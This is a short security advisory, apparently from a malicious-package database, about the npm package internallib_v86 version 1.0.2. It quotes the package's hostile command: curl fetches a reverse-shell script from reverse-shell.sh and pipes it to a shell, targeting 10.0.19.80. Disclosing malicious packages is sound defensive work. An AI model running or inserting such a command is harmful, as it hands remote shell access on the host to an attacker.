MAL-2026-17634

    Dashboard / Malicious Package / MAL-2026-17634

    MAL-2026-17634

    Published: 6 Oct 2026Last Modified: 6 Oct 2026

    Summary: Malicious code in internallib_v86 (npm)

    Details: Source: amazon-inspector (9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07) internallib_v86 ships a tiny index.js that exports a function `command` which invokes `/bin/bash -c "curl https://reverse-shell.sh/... | sh"` targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.

    References: https://www.npmjs.com/package/internallib_v86/v/1.0.2

    Affected packages

    Package

    Name: internallib_v86

    Purl: pkg:npm/internallib_v86

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.2